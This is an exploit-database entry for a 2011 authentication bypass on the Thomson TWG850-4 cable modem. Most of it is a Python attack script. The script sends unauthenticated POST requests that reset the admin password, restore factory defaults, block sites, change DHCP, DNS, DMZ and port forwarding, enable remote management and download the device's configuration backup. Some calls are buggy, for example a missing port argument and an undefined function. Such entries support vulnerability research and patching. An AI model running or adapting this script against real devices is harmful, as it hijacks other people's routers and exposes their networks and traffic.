header-logo
Suggest Exploit
vendor:
TWG850-4 Wireless VoIP Cable Modem
by:
Glafkos Charalambous, George Nicolaou
9,3
CVSS
HIGH
Authentication Bypass
287
CWE
Product Name: TWG850-4 Wireless VoIP Cable Modem
Affected Version From: ST9A.01.06
Affected Version To: ST9A.01.06
Patch Exists: NO
Related CWE: N/A
CPE: h:thomson:twg850-4_wireless_voip_cable_modem
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2011

Thomson Wireless VoIP Cable Modem Auth Bypass

This exploit allows an attacker to bypass authentication on Thomson Wireless VoIP Cable Modem. The exploit uses the http_post() function to send a POST request to the modem with the parameters cbDomainBlocking, BasicParentalNewKeyword, BasicParentalKeywordAction, BasicParentalDomainList, BasicParentalNewDomain, BasicParentalDomainAction, cbKeywordBlocking, BasicParentalNewKeyword, BasicParentalKeywordAction, BasicParentalNewDomain, BasicParentralDomainAction, HttpUserId, Password, PasswordReEnter, RestoreFactoryYes. This allows the attacker to reset the password, block domains and keywords, and restore factory defaults.

Mitigation:

Ensure that authentication is properly implemented and enforced on the device.
Source

Exploit-DB raw data:

# Exploit Title: Thomson Wireless VoIP Cable Modem Auth Bypass
# Date: February 22, 2011
# Author(s): Glafkos Charalambous, George Nicolaou
# Product: TWG850-4 Wireless VoIP Cable Modem
# Software Version: ST9A.01.06
# Severity: High
# Other Vulnerabilities: 
# Unauthenticated Backup File Access, 
# Plaintext Protocol succeptible to sniffing attacks

import argparse
import httplib
import urllib
import urllib2

def http_post( ip, port, request, params ):
    headers = {
        "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
        "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language":"en-us;en;q=0.5",
        "Accept-Encoding":"gzip, deflate",
        "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7",
        "Keep-Alive":"115",
        "Connection":"keep-alive",
        "Content-type":"application/x-www-form-urlencoded"
        }
    con = httplib.HTTPConnection(ip,port)
    con.request("POST", request, params, headers)
    response = con.getresponse()

def block_domain( ip, port, host ):
    http_post( ip,port,
	       "/goform/RgUrlBlock",
               urllib.urlencode( {"cbDomainBlocking":"0x2","BasicParentalNewKeyword":0, "BasicParentalKeywordAction":0, "BasicParentalDomainList":0, "BasicParentalNewDomain":host,"BasicParentalDomainAction":1} )
               )
def block_keyword( ip, port, host ):
    http_post( ip,port,
	       "/goform/RgUrlBlock",
               urllib.urlencode( {"cbKeywordBlocking":"0x1", "BasicParentalNewKeyword":host,"BasicParentalKeywordAction":1, "BasicParentalNewDomain":"0", "BasicParentralDomainAction":0} )
               )
        
def password_reset( ip, port, user="admin", passwd="admin" ):
    http_post(ip,port,
              "/goform/RgSecurity",
              urllib.urlencode({"HttpUserId":user, "Password":passwd, "PasswordReEnter":passwd, "RestoreFactoryYes":"0x00" })
              )

def factory_defaults( ip, port, user="admin", passwd="admin" ):
    http_post(ip,port,
              "/goform/RgSecurity",
              urllib.urlencode({"HttpUserId":user, "Password":passwd, "PasswordReEnter":passwd, "RestoreFactoryYes":"0x01" })
              )

def dhcp_config( ip, port, localip="10.1.0.1", localsub="255.255.255.0", leasepoolstart="10.1.0.10", leasepoolend="10.1.0.100" ):
    http_post(ip,port,
              "/goform/RgSetup",
              urllib.urlencode({"LocalIpAddressIP":localip, "LocalSubnetMask":localsub, "DhcpServerEnable":"0x1000", "DhcpLeasePoolStartLAN":leasepoolstart, "DhcpLeasePoolEndLAN":leasepoolend, "LeaseTime":"604800" })
              )

def dyn_dns( ip, port, dnsuser="user", dnspass="pass", dnshost="host.dyndns.org" ):
    http_post(ip,port,
              "/goform/RgDdns",
              urllib.urlencode({"DdnsService":1, "DdnsUserName":dnsuser, "DdnsPassword":dnspass, "DdnsHostName":dnshost })
              )

def sntp_set( ip, port, server1="clock.via.net", tserver2="ntp.nasa.gov", tserver3="tick.ucla.edu" ):
    http_post(ip,port,
              "/goform/RgTime",
              urllib.urlencode({"TimeSntpEnable":1, "TimeServer1":tserver1, "TimeServer2":tserver2, "TimeServer3":tserver3, "TimeZoneOffsetHrs":0, "TimeZoneOffsetMins":0, "ResetSntpDefaults":0 })
              )

def backup_config( ip, port, fName="GatewaySettings.bin" ):
    u = urllib2.urlopen('http://' + ip+":"+port + '/GatewaySettings.bin')
    lFile = open(fName, 'w')
    print "File "+fName+" saved successfully"
    lFile.write(u.read())
    lFile.close()

def remote_manage( ip, port, status ):
   if status == 'enable':
    http_post(ip,port,
	      "/goform/RgOptions",
              urllib.urlencode({"cbIpsecPassThrough":"0x20", "cbPptpPassThrough":"0x40", "cbRemoteManagement":"0x80", "cbOptMulticast": "0x20000", "cbOptUPnP":"0x200000", "cbOptNatSipAlg":"0x89"})
              )	
   elif status == 'disable':
    http_post(ip,port,
              "/goform/RgOptions",
              urllib.urlencode({"cbIpsecPassThrough":"0x20", "cbPptpPassThrough":"0x40", "cbOptMulticast": "0x20000", "cbOptUPnP":"0x200000", "cbOptNatSipAlg":"0x89"})
              )
   else:
    print "The argument you specified is not accepted"

def dmz_set( ip, port, dmzhost ):
    http_post(ip,port,
              "/goform/RgDmzHost",
              urllib.urlencode({"DmzHostIP3":dmzhost})
              )

def port_forward( ip, port, localip, startport, endport ):
    http_post(ip,port,
              "/goform/RgForwarding",
              urllib.urlencode({"PortForwardAddressLocal1IP3":localip, "PortForwardPortGlobalStart1":startport , "PortForwardPortGlobalEnd1":endport , "PortForwardProtocol1":"254", "PortForwardEnable1":"0x01"  })
              )

def main():
   status = ['enable', 'disable']
   argp = argparse.ArgumentParser(description='Thomson Cable Modem Auth Bypass v0.1')
   argp.add_argument("-pr", "--password_reset", nargs=2, help="Reset Admin Account", metavar=("user","pass"))
   argp.add_argument("-fd", "--factory_default", nargs=2, help="Reset Factory Defaults", metavar=("user","pass"))
   argp.add_argument("-bk", "--block_keyword", help="Block Web Access based on Keyword(s)", metavar="keywrd1,keywrd2,...,keywrdN")
   argp.add_argument("-bd", "--block_domain", help="Block Web Access to Specific Domain(s)",metavar="domain1,domain2,...,domainN")
   argp.add_argument("-dc", "--dhcp_config", nargs=4, help="Configure DHCP Settings",metavar=("localip","localsub","leasepoolstart", "leasepoolend"))
   argp.add_argument("-dd", "--dyn_dns", nargs=3, help="Configure Dynamic DNS",metavar=("user", "pass", "host"))
   argp.add_argument("-ss", "--sntp_set", nargs=3, help="Configure SNTP Settings",metavar=("timeserver1", "timeserver2", "timeserver3"))
   argp.add_argument("-bg", "--backup_config", help="Download Backup Configuration", metavar=("filename"))
   argp.add_argument("-rm", "--remote_manage", help="Enable Remote Config Management", metavar=("enable/disable"))
   argp.add_argument("-ds", "--dmz_set", help="Set DMZ Host. Use last 3 digits for IP Address", metavar=("ip"))
   argp.add_argument("-pf", "--port_forward", nargs=3, help="Configure Port Forwarding", metavar=("ip", "startport", "endport"))
   argp.add_argument("IP", help="IP Address")
   argp.add_argument("PORT", help="Port Number")
   args = argp.parse_args()
   if(args.password_reset != None):
       password_reset( args.IP, args.password_reset[0], args.password_reset[1] )
   if(args.factory_default != None):
       factory_default( args.IP, args.factory_default[0], args.factory_default[1] )
   if(args.block_keyword != None):
       for keyword in args.block_keyword.split(","):
           block_keyword(args.IP, keyword)
   if(args.block_domain != None):
        for domain in args.block_domain.split(","):
            block_domain( args.IP, domain )
   if(args.dhcp_config != None):
       dhcp_config( args.IP, args.dhcp_config[0], args.dhcp_config[1], args.dhcp_config[2], args.dhcp_config[3] )
   if(args.dyn_dns != None):
       dyn_dns( args.IP, args.dyn_dns[0], args.dyn_dns[1], args.dyn_dns[2] )
   if(args.sntp_set != None):
       sntp_set( args.IP, args.sntp_set[0], args.sntp_set[1], args.sntp_set[2] )
   if(args.backup_config != None):
       backup_config( args.IP, args.backup_config )
   if(args.remote_manage != None):
       remote_manage( args.IP, args.PORT, args.remote_manage )
   if(args.dmz_set != None):
       dmz_set( args.IP, args.PORT, int( args.dmz_set ))
   if(args.port_forward != None):
       port_forward( args.IP, args.PORT, args.port_forward[0], args.port_forward[1], args.port_forward[2] )
 
if __name__ == "__main__":
    main()